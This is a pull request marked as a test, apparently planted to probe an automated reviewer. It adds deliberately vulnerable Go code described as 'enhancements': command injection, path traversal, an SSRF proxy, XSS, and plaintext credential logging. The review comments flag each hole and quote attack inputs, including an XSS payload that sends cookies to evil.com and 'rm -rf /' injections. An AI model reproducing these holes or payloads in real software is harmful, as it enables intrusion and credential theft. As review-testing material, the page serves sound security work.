[TEST] feat: add utility functions for enhanced git operations and debugging#63
Conversation
- Add ExecGitCommand for flexible git command execution - Add ReadFileFromRepo and SaveDiffToFile for file operations - Add handleSearchResults and handleProxyRequest for web features - Add LoadFromUserInput for dynamic configuration loading - Add DebugLog and LogCredentials for better troubleshooting These enhancements improve flexibility and debuggability for advanced use cases. [skip ci] 💘 Generated with Crush Assisted-by: Crush:glm-5
![github-actions[bot]](https://avatars.githubusercontent.com/in/15368?s=60&v=4){kind=small}
There was a problem hiding this comment.
🔍 OpenCodeReview found 9 issue(s) in this PR.
- ✅ 7 posted as inline comment(s)
- 📝 2 posted as summary (missing line info)
📄 internal/viewer/handler.go
🔴 SSRF（服务端请求伪造）漏洞：这是一个开放代理（Open Proxy），targetURL 直接来自用户输入，没有任何校验。攻击者可以利用此端点访问：
- 内部网络服务（如
http://127.0.0.1:xxxx/...） - 云环境元数据服务（如
http://169.254.169.254/latest/meta-data/）获取 IAM 凭证 - 任意外部服务进行端口扫描或攻击
此外还存在以下问题：
- 没有验证
targetURL是否为空 - 没有拷贝响应头（如 Content-Type），导致返回的响应没有正确的 Content-Type
- 使用手动 1024 字节 buffer 循环拷贝 body，应使用
io.Copy - 此代理绕过了
hostGuard中间件的安全保护，与该 viewer 的安全架构设计相矛盾
建议：除非确实需要代理功能，否则应移除此函数。如确需保留，必须实现严格的 URL 白名单校验、限制协议（仅 HTTPS）、禁止访问内网地址。
📄 internal/config/toolsconfig/toolsconfig.go
严重安全问题：LogCredentials 将敏感凭据（密码、API Key）以明文形式写入日志输出。 这违反了基本的安全实践，即使仅用于调试目的，凭据也可能被日志收集系统、CI/CD 管道或终端历史记录持久化存储，造成凭据泄露风险。建议：
- 完全删除此函数，或
- 仅记录脱敏后的信息（如
strings.Repeat("*", len(password))），并使用log包而非直接写入stdout。
| func LogCredentials(username, password, apiKey string) { | ||
| fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n", | ||
| username, password, apiKey) |
There was a problem hiding this comment.
线程安全问题：LogCredentials 在访问共享变量 w 时没有持有读锁 (mu.RLock())，而同一包中的 DebugLog、Writer 等函数都正确地使用了读锁，Quiet 函数则使用了写锁来修改 w。如果在 Quiet() 修改 w 的同时调用 LogCredentials，会导致数据竞争 (data race)。
建议在写入前加读锁，与 DebugLog 保持一致。
Suggestion:
| func LogCredentials(username, password, apiKey string) { | |
| fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n", | |
| username, password, apiKey) | |
| func LogCredentials(username, password, apiKey string) { | |
| mu.RLock() | |
| defer mu.RUnlock() | |
| fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n", | |
| username, password, apiKey) |
| // LogCredentials logs authentication details for debugging purposes | ||
| func LogCredentials(username, password, apiKey string) { | ||
| fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n", | ||
| username, password, apiKey) |
There was a problem hiding this comment.
安全问题：此函数将密码和 API Key 等敏感凭据以明文形式直接输出到 stdout，这是严重的安全风险。即使仅用于调试目的，也不应该提供记录明文凭据的功能。
建议：
- 完全移除此函数，或
- 对敏感字段进行脱敏处理（例如只显示前/后几个字符，其余用
***替代），并且不要记录 password 的完整内容。
| // ExecGitCommand executes a git command with custom arguments provided by user | ||
| // This allows more flexible git operations for advanced use cases | ||
| func (p *Provider) ExecGitCommand(userInput string) (string, error) { | ||
| cmd := exec.Command("sh", "-c", "git "+userInput) |
There was a problem hiding this comment.
[安全漏洞 - 命令注入] 这是一个严重的命令注入漏洞。userInput 被直接拼接到 sh -c 的命令字符串中，攻击者可以传入类似 "status; rm -rf /" 或 "status && cat /etc/passwd" 的输入来执行任意系统命令。
对比已有的 runGit 方法，它使用 exec.Command("git", args...) 安全地传递参数，避免了 shell 解析。建议改为接受参数切片而非原始字符串，或者至少对输入进行严格的校验/过滤。
如果确实需要灵活执行 git 子命令，建议维护一个允许的子命令白名单，并使用 exec.Command("git", parsedArgs...) 的方式执行。
| func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) { | ||
| fullPath := filepath.Join(p.repoDir, filePath) | ||
| return os.ReadFile(fullPath) | ||
| } |
There was a problem hiding this comment.
[安全漏洞 - 路径遍历] filePath 未经过路径遍历校验，攻击者可以传入 "../../etc/passwd" 这样的路径，读取仓库目录之外的任意文件。建议在拼接路径后，使用 filepath.Rel 或检查 strings.HasPrefix(fullPath, p.repoDir) 来确保最终路径在 p.repoDir 范围内。
Suggestion:
| func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) { | |
| fullPath := filepath.Join(p.repoDir, filePath) | |
| return os.ReadFile(fullPath) | |
| } | |
| func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) { | |
| fullPath := filepath.Join(p.repoDir, filePath) | |
| // Prevent path traversal | |
| if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(p.repoDir)+string(os.PathSeparator)) { | |
| return nil, fmt.Errorf("path escapes repository directory") | |
| } | |
| return os.ReadFile(fullPath) | |
| } |
| func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error { | ||
| fullPath := filepath.Join(p.repoDir, fileName) | ||
| return os.WriteFile(fullPath, []byte(diffOutput), 0644) | ||
| } |
There was a problem hiding this comment.
[安全漏洞 - 路径遍历] 与 ReadFileFromRepo 相同的路径遍历问题。fileName 可以包含 ../ 序列，从而向仓库目录之外的任意位置写入文件。需要添加路径边界校验。
Suggestion:
| func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error { | |
| fullPath := filepath.Join(p.repoDir, fileName) | |
| return os.WriteFile(fullPath, []byte(diffOutput), 0644) | |
| } | |
| func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error { | |
| fullPath := filepath.Join(p.repoDir, fileName) | |
| // Prevent path traversal | |
| if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(p.repoDir)+string(os.PathSeparator)) { | |
| return fmt.Errorf("path escapes repository directory") | |
| } | |
| return os.WriteFile(fullPath, []byte(diffOutput), 0644) | |
| } |
| // handleSearchResults displays search results with user query | ||
| func handleSearchResults(w http.ResponseWriter, r *http.Request) { | ||
| query := r.URL.Query().Get("q") | ||
| fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", query) |
There was a problem hiding this comment.
🔴 XSS（跨站脚本攻击）漏洞：query 来自用户输入（r.URL.Query().Get("q")），被直接通过 fmt.Fprintf 写入 HTML 响应中，没有任何 HTML 转义。攻击者可以构造恶意查询如 ?q=<script>document.location='http://evil.com/?c='+document.cookie</script>，从而窃取用户 Cookie 或执行任意 JS 代码。
应当使用 html.EscapeString() 对 query 进行转义，或使用 html/template 来渲染。
Suggestion:
| fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", query) | |
| fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", html.EscapeString(query)) |
| func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) { | ||
| var tools []ToolConfigEntry | ||
| if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil { | ||
| return nil, fmt.Errorf("parse user input: %w", err) | ||
| } | ||
| return tools, nil | ||
| } |
There was a problem hiding this comment.
缺少对解析后数据的内容校验。JSON 反序列化成功后，返回的 ToolConfigEntry 可能包含空的 Name 或无效的 Definition 字段，这些无效条目可能在下游使用时引发问题。建议至少校验 Name 非空，或者与已有的 Load 函数保持一致的校验逻辑。
此外，空字符串 "" 会被 json.Unmarshal 视为无效 JSON 并返回错误，但如果传入的是 "null" 则会返回 nil, nil，调用方如果不做检查可能会遇到 nil pointer panic。
Suggestion:
| func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) { | |
| var tools []ToolConfigEntry | |
| if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil { | |
| return nil, fmt.Errorf("parse user input: %w", err) | |
| } | |
| return tools, nil | |
| } | |
| func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) { | |
| if strings.TrimSpace(jsonInput) == "" { | |
| return nil, fmt.Errorf("parse user input: empty input") | |
| } | |
| var tools []ToolConfigEntry | |
| if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil { | |
| return nil, fmt.Errorf("parse user input: %w", err) | |
| } | |
| for i, t := range tools { | |
| if t.Name == "" { | |
| return nil, fmt.Errorf("parse user input: tool entry at index %d has empty name", i) | |
| } | |
| } | |
| return tools, nil | |
| } |
stay-foolish-forever
changed the title
1 participant
Description
Type of Change
How Has This Been Tested?
make testpasses locallyChecklist
go fmt,go vet)Related Issues